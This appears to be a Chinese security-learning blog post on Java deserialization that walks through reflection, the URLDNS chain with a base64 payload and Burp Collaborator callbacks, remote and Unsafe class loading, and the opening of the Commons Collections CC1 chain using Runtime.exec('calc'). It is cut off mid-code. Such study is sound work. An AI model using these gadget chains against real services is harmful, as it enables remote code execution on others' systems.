当前位置:   article > 正文

java反序列化cc链

java反序列化cc链

title: java反序列化cc链
categories:

  • java
  • java反序列化cc链
    abbrlink: 2700
    date: YYYY-MM-DD HH:mm:ss
    tags:
  • java
  • cc链
  • 代码审计

序列化和反序列化

persion.java

import java.io.Serializable;

public class Persion implements Serializable {
    private String wan;
    private int i;

    @Override
    public String toString() {
        return "Persion{" +
                "wan='" + wan + '\'' +
                ", i=" + i +
                '}';
    }

    public String getWan() {
        return wan;
    }

    public void setWan(String wan) {
        this.wan = wan;
    }

    public int getI() {
        return i;
    }

    public void setI(int i) {
        this.i = i;
    }

    public Persion() {
    }

    public Persion(String wan, int i) {
        this.wan = wan;
        this.i = i;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

serialize.java

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class SerializeTest {
    public static void serilize(Object obj) throws Exception {
        ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        os.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        Persion persion  = new Persion("wan",22);
        System.out.println(persion);
        serilize(persion);
    }

}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

Unserialize.java

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream osi = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = osi.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Persion persion = (Persion) unserialize("ser.bin");
        System.out.println(persion);
    }


}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

image-20220531153546649

image-20220531153603453

重写persion类中的readObject方法

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Persion implements Serializable {
    private String wan;
    private int i;

    @Override
    public String toString() {
        return "Persion{" +
                "wan='" + wan + '\'' +
                ", i=" + i +
                '}';
    }

    public String getWan() {
        return wan;
    }

    public void setWan(String wan) {
        this.wan = wan;
    }

    public int getI() {
        return i;
    }

    public void setI(int i) {
        this.i = i;
    }

    public Persion() {
    }

    public Persion(String wan, int i) {
        this.wan = wan;
        this.i = i;
    }
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45

重新序列化和反序列化

image-20220531153911421

这里的愿意是Persion类重写了readObject(),由于在执行反序列化的时候,它会自动调用,所以导致了calc的执行

反射

persion.java

public class Persion {
    private String name;
    public int age;

    public void action(){
        System.out.println("action test");
    }
    @Override
    public String toString() {
        return "Persion{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public Persion() {
    }

    public Persion(String name, int age) {
        this.name = name;
        this.age = age;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
import java.lang.reflect.Constructor;

public class Refelct {
    public static void main(String[] args) throws Exception {
        Persion persion = new Persion();
//       下面的意思是获取persion类的class对象,也就是整个persion.java(这样说不太对)
        Class<? extends Persion> persionClass = persion.getClass();
//        而反射就是在操作class对象,也就是这里的persionClass

//        既然我们以及获取了整个persion.java,我们当然可以通过他来new对象,这里就和原先new Perison不一样了
//        既然无法直接new,那么肯定给了方法可以调用来new 对象.也就是下面的newInstance
//        但是newInstance其实是无参构造方法,不能传参数,原因就是newInstace其实是需要构造器来驱动的,但是这里我们偷懒没有用构造器,就默认调用无参构造了.
        Persion persion1 = persionClass.newInstance();

//        接下来我们可以获取一个有参构造的构造器,接着调用有参构造的构造器来newInstance()
//        由于这里的getConstructor并不是new对象,因此这里传入的当然也不能是对象的参数,那么传什么呢?用来标识的话就需要传入.class,当然这里是根据源代码来解释的了.
        Constructor<? extends Persion> persionConstructor = persionClass.getConstructor(String.class, int.class);
//        接着不偷懒通过有参构造器来new对象就好了
        Persion persion2 = persionConstructor.newInstance("wan", 1);
        System.out.println(persion2);

//        现在我们已经获取了对象,那么属性呢?



    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class Refelct {
    public static void main(String[] args) throws Exception {
        Persion persion = new Persion();
        Class<? extends Persion> persionClass = persion.getClass();
        Constructor<? extends Persion> persionConstructor = persionClass.getConstructor(String.class, int.class);
        Persion persion1 = persionConstructor.newInstance("wan", 111);

//        System.out.println(persion1);
//        现在我们已经获取了对象,那么属性呢?

//        这里可以通过getFileds()来获取属性
        Field[] fields = persionClass.getFields();
        for (Field field : fields) {
//            System.out.println(field);
        }
//        输出public int Persion.age
//        可见,这里只输出了一个age,如果你细心的话,就会发现这里的age是public,而name是private的

        Field[] declaredFields = persionClass.getDeclaredFields();
        for (Field declaredField : declaredFields) {
//            System.out.println(declaredField);
        }
//      输出private java.lang.String Persion.name
//public int Persion.age
//        这样就可以了
//        现在我们已经获取到了属性,接着该修改属性了

//        当然,如果你能举一反三,下面将会很好理解的
//        获取这个属性(相当于获取构造器)
        Field ageField = persionClass.getField("age");
//        这里就是给person1的age进行改值了,也很好理解,获取了属性,但是不知道属性是谁的,所以要加一个person1,后面就是需要改的值了
        ageField.set(persion1,2222);
        System.out.println(persion1);
//        输出Persion{name='wan', age=2222}
        
//        发现了吗?这里改private就是用declaredField咯
        Field nameFiled = persionClass.getDeclaredField("name");
//        将name设置成可修改的,从private可以更改
        nameFiled.setAccessible(true);
        nameFiled.set(persion1,"aaa");
        System.out.println(persion1);
//        输出Persion{name='aaa', age=2222}
        
//		接下来就是方法咯
//		举一反三哦
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51

java反序列化urldns链

我们先分析hashmap看看

image-20220602184518641

首先这里实现了Serializable接口是可以进行序列化的

curl+f12 搜索类中方法readObject,这里也是存在readObject()方法的,也就是说明,hashmap既可以进行序列化,也可以在反序列化的时候自动调用,

image-20220531154536982

可以看到这里调用了hash函数,其中先是循环去除key,接着在hash中传了key

image-20220531154630971

接着跟过去,发现调用了hashCode

image-20220531154655592

到这里就会发现hashCode非常常见,因此我们就可以将hashMap作为入口类

接着我们看一下urldns链不能执行命令,但通常作为验证是否存在反序列化漏洞的一种方式.ysoserial工具,它集合了各种java反序列化的payload.ysoserial.jar下载完成之后我们打开看一下调用链

image-20220531155409262

可见这里首先是通过HashMap.readObject()方法的自动调用作为入口,接着就是上面的HashMap的hash.然后这里就是重点了,也就是这里的URL.hashCode().这里为什么是URL.hashCode呢

image-20220602185245255

这里是调用的key的hashCode()方法,而这里的key我们可以通过hashmap的put方法放入一个URL对象,也就是说,这里的key其实是我们可以控制的.

image-20220602185602079

可见使用了URL的hashCode方法.这里我们回过头来去看一下URL的hashCode()方法

image-20220602185750572

可见实现了Serializeable接口,这里也是说明URL对象也是可以进行序列化的,那你也许会说,为啥不用URL对象的readObject()方法呢

image-20220602185907573

其实是有重写的,不过这里没有办法利用,因为并没有调用到有用的方法,就像我们在刚开始那个Persion重写的readObject()那样

接着我们来看hashCode()方法,还记得吗,在上面其实是调用了URL的hashCode()方法,这里为啥要调URL的hashCode()方法呢?

image-20220531160009796

可见调用了handler的hashCode()方法,这里传入了一个URL对象

image-20220531160050033

这里又调用了getHostAddress方法,跟过去看看,可见这里是会进行dns解析,那么这里就完美了

image-20220531160119344

这里我们就开始写利用函数,我们先去burp生成一个dns连接

image-20220531160423383

copy

image-20220531160437570

dns.java

import java.net.URL;
import java.util.HashMap;

public class dns {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://i8rvj4c7vdn2x353vm3eufouslybm0.burpcollaborator.net");
        url.hashCode();

    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

我们这里写的是正常情况下我们怎么触发这个dns请求

image-20220602191053878

image-20220602191117462

可见这里先是进行了hashCode 这个值是否等于-1,注意这里我们是不等的

image-20220602191248907

这里也是去请求了,这里也收到了

image-20220602191315737

接着我们写一下反序列化的调用链

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class dns {
    public static void main(String[] args) throws Exception {
//        先得到入口点HashMap对象
        HashMap<URL, Integer> objectObjectHashMap = new HashMap<>();
//        这里是得到url对象,也就是我们需要去利用的,准备好put进入hashmap
        URL url = new URL("http://rzu4ad3gmmebocwcmvunlof3juplda.burpcollaborator.net");
//        将准备好的值put进去
        objectObjectHashMap.put(url,1);

//        serilize(objectObjectHashMap);
        unserilize("ser.bin");


    }
    public static void serilize(Object obj)throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);

    }
    public static Object unserilize(String Filename) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object o = objectInputStream.readObject();
        return o;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

这里正常来说在序列化的时候是不会接受到dns请求的,但是并不是.执行之后burp就收到了dns请求了

image-20220531160639256

至于为什么呢.我们跟一下put方法来看看

image-20220602201303241

这里put调用了hash()

image-20220602201521906

这里可以看到调用了key的hashCode方法,也就是说调用了URL的hashCode方法,接着步入

image-20220531161319324

这里可以看到如果hashCode不等于-1就返回hashCode

image-20220531161338052

我们先去搞清楚这个hashCode是在什么时候赋值的,或者更改的,从下面可见这里的hashCode在初始化的时候是-1

image-20220531162115427

到这里就发现看到了对hashCode的赋值

image-20220602202605487

也就是说,在put之前我们不能让hashCode是-1,不然hashCode(this)就会执行,就会执行dns请求.而如果不改回来的话呢,hashCode就不等于-1,也就是在反序列化的时候就无法执行.

image-20220531163420438

注意第一个调用的不是URL对象的hashCode哦,我们直接到第三个
image-20220531163616647

可见这里根本就不会执行下面的handler的hashCode方法,也就不会去请求dns了

也就是说,我们要在put之前将hashCode进行更改不等于-1,不进行dns请求.在put之后将hashCode更改回-1,让他在反序列化的时候进行dns请求.(不懂重新敲一遍)

我们改为之后就可以序列化和反序列化了

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class dns {
    public static void main(String[] args) throws Exception {
//        先得到入口点HashMap对象
        HashMap<URL, Integer> objectObjectHashMap = new HashMap<>();
//        这里是得到url对象,也就是我们需要去利用的,准备好put进入hashmap
        URL url = new URL("http://ni9zwg53yga0f5jhqxa5uqxfn6tyhn.burpcollaborator.net");
//        先利用反射将URL类的hashcode进行更改
//        获取url类的class对象
        Class<? extends URL> urlClass = url.getClass();
//        获取hashCode属性
        Field hashCodeField = urlClass.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,111);
//        到这里值已经准备好了

//        将准备好的值put进去
        objectObjectHashMap.put(url,1);

//        将hashCode更改回-1
        hashCodeField.set(url,-1);

        serilize(objectObjectHashMap);
        unserilize("ser.bin");


    }
    public static void serilize(Object obj)throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);

    }
    public static Object unserilize(String Filename) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object o = objectInputStream.readObject();
        return o;
    }

}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47

image-20220602205209201

改成base64形式

package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;

public class urldnsre {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashMap = new HashMap<>();
        URL url = new URL("http://9akkvj4eq43jdlgj889wfnuo3f98xx.burpcollaborator.net");
        Class<? extends URL> urlClass = url.getClass();
        Field hashCode = urlClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,10000);
        hashMap.put(url,1);
        hashCode.set(url,-1);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);
        
        
        
        String str = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAMzlha2t2ajRlcTQzamRsZ2o4ODl3Zm51bzNmOTh4eC5idXJwY29sbGFib3JhdG9yLm5ldHQAAHEAfgAFdAAEaHR0cHB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4";
        Base64.Decoder decoder = Base64.getDecoder();
        byte[] decode = decoder.decode(str);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();



    }


}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44

静态代理

ProxyTest.java

包含main方法用于调用

import java.lang.reflect.Proxy;

public class ProxyTest {
    public static void main(String[] args) {
        UserImpl user = new UserImpl();
//        user.show();
//        静态代理
        UserProxy userProxy = new UserProxy(user);
        userProxy.show();

//        动态代理
//        要代理的接口 要做的事情 classloader
        UserInvocationHandler userInvocationHandler = new UserInvocationHandler(user);
        IUser userProx = (IUser)Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvocationHandler);
        userProx.update();
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

UserImple.java

用于实现Iuser接口

public class UserImple implements Iuser{
    @Override
    public void create() {
        System.out.println("调用了create");
    }

    @Override
    public void delete() {
        System.out.println("调用了delete");
    }

    @Override
    public void show() {
        System.out.println("show");
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

IUser.java

Iuser接口

public interface Iuser {
    void show();
    void create();
    void delete();
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

UserProxy.java

作为user的代理

public class UserProxy implements Iuser{
    @Override
    public void show() {
        show();
        System.out.println("调用了show");
    }

    @Override
    public void create() {
        create();
        System.out.println("调用了create");
    }

    @Override
    public void delete() {
        delete();
        System.out.println("调用了delete");
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

类的动态加载

重写Persion.java

import java.io.Serializable;

public class Persion implements Serializable {
    public String name;
    private int age;


    @Override
    public String toString() {
        return "Persion{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public Persion() {
    }

    public Persion(String name, int age) {
        this.name = name;
        this.age = age;
    }

    static {
        System.out.println("静态代码块");
    }

    {
        System.out.println("构造代码块");
    }

    public static void action() {
        System.out.println("静态action");
    }

}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53

LoadClass.java

public class LoadClassTest {
    public static void main(String[] args) {
        new Persion("aa",2);
        System.out.println("-----");
        Persion.action();
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

image-20220531202509587

public class LoadClassTest {
    public static void main(String[] args) {
//        new Persion("aa",2);
//        System.out.println("-----");
//        Persion.action();
        Class clazz = Persion.class;

    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

可见没进行初始化

image-20220531202550604

public class LoadClassTest {
    public static void main(String[] args) throws Exception{
        Class.forName("Persion");
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

这里初始化了

image-20220603193426641

public class LoadClassTest {
    public static void main(String[] args) throws Exception{
//        Class.forName("Persion");
//        先创建一个classloader
        ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
        Class<?> persion = Class.forName("Persion", false, systemClassLoader);
        persion.newInstance();

    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

image-20220603193922050

Test.java

import java.io.IOException;

public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

image-20220603195910091

编译一下Test.java 接着删除Test.java防止影响

image-20220531204753938

image-20220531205003232

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class LoadClassTest {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
//        new Persion("aa",2);
//        System.out.println("-----");
//        Persion.action();
//        Class clazz = Persion.class;
//        获取系统当前内部类
        ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
//        不进行初始化类
//        Class<?> persion = Class.forName("Persion", false, systemClassLoader);
//        创建实例
//        persion.newInstance();
//        Class<?> persion = systemClassLoader.loadClass("Persion");
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://wan/")});
        Class<?> hello = urlClassLoader.loadClass("Test");
        hello.newInstance();


    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

起一个网页,把Test.class放到网站下面

image-20220531205055927

image-20220531205146977

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class LoadClassTest {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, IOException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
//        new Persion("aa",2);
//        System.out.println("-----");
//        Persion.action();
//        Class clazz = Persion.class;
//        获取系统当前内部类
        ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
//        不进行初始化类
//        Class<?> persion = Class.forName("Persion", false, systemClassLoader);
//        创建实例
//        persion.newInstance();
//        Class<?> persion = systemClassLoader.loadClass("Persion");
//        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://wan/")});
//        Class<?> hello = urlClassLoader.loadClass("Test");
//        hello.newInstance();
        
        
        
//        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
//        defineClass.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\Download\\java\\src\\Test.class"));
//        Class clazz = (Class) defineClass.invoke(systemClassLoader, "Test",code,0,code.length);
//        clazz.newInstance();
        
        
        
        Class c = Unsafe.class;
        Field theUnsafe = c.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Class c2 = unsafe.defineClass("Test",code,0,code.length,systemClassLoader,null);
        c2.newInstance();
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48

image-20220531211417864

cc1

下载java 8u65

image-20220531212537874

image-20220531214045302

https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

image-20220531214020760

找到这个sun

D:\Download\jdk-af660750b2f4\src\share\classes
  • 1

添加maven项目

image-20220531214739460

解压这个

image-20220531214841824

在把sun考进src里面

image-20220531214404157

添加src

image-20220531215252519

添加依赖

 <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

CC1Test.java

package org.example;

import java.io.*;

public class CC1Test {
    public static void main(String[] args) {

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

image-20220531215833812

导入org.apache.commons.collections.Transformer包

image-20220531220015629

如果maven下载不下来源码,可以换一个maven试试

image-20220531220724224

接着我们开始分析cc1

image-20220531220736330

查看实现的方法 ctrl + alt + b

image-20220531221413439

我们去查看InvokeTransform.java

image-20220531221629597

可以见到这里的input.getClass()获取了一个类对象,接着得到了类的一个方法,接着去执行这个input的iArgs方法

正常弹个计算器

package org.example;
import java.io.*;
import java.lang.reflect.Method;

public class CC1Test {
    public static void main(String[] args) throws Exception {
//        正常弹个计算器
        Runtime.getRuntime().exec("calc");

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

反射弹计算器

package org.example;
import java.io.*;
import java.lang.reflect.Method;

public class CC1Test {
    public static void main(String[] args) throws Exception {


//        反射弹计算器
//        先获取一个RUntime对象
        Runtime runtime = Runtime.getRuntime();
//        获取runtime的class对象
        Class<? extends Runtime> runtimeClass = runtime.getClass();
//        获取runtime的class的exec方法
        Method exec = runtimeClass.getMethod("exec", String.class);
//        通过invkoe执行runtime类的exec方法传入参数为calc
        exec.invoke(runtime,"calc");

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29

调用InvokerTransformer()的transform()弹个计算器

先去看构造方法,首先是一个方法的名字,接着是一个类对象数组其中放的是参数类型,接着是args的参数

image-20220603204031556

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Method;

public class CC1Test {
    public static void main(String[] args) throws Exception {
//      invokeTransform弹个计算器
        Runtime runtime = Runtime.getRuntime();
//      第一个exec就是runtimeClass.getMethod("exec",
//        第二个new CLass[]{String.class}就是String.class);
//        第三个 new Object[]{"calc"}就是,"calc");
        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        exec.transform(runtime);

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

接着我们去看看谁调用了transform()

image-20220531222422362

可以看到这里都调用了transform(),这里我们就直接看checkSetValue()了

image-20220531222654836

image-20220603205122198

这里可以看到valueTransformer调用了transform()方法.但是也行你已经发现了这里的transform()方法中还有一个value,我们并不能现在就给他赋值.这里需要先注意一下哦.那么我们就需要去看看这个valueTransformer是在哪里赋值的

image-20220603205247984

这里可以看到这里的TransformedMap是对valueTransformer进行了赋值,但是这里的方法其实是protected的,那么肯定在本类中有调用

image-20220603205457433

也可以看到这里进行了调用操作,这里也可以发现这个decorate是一个静态方法不需要new对象.

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;

public class CC1Test {
    public static void main(String[] args) throws Exception {
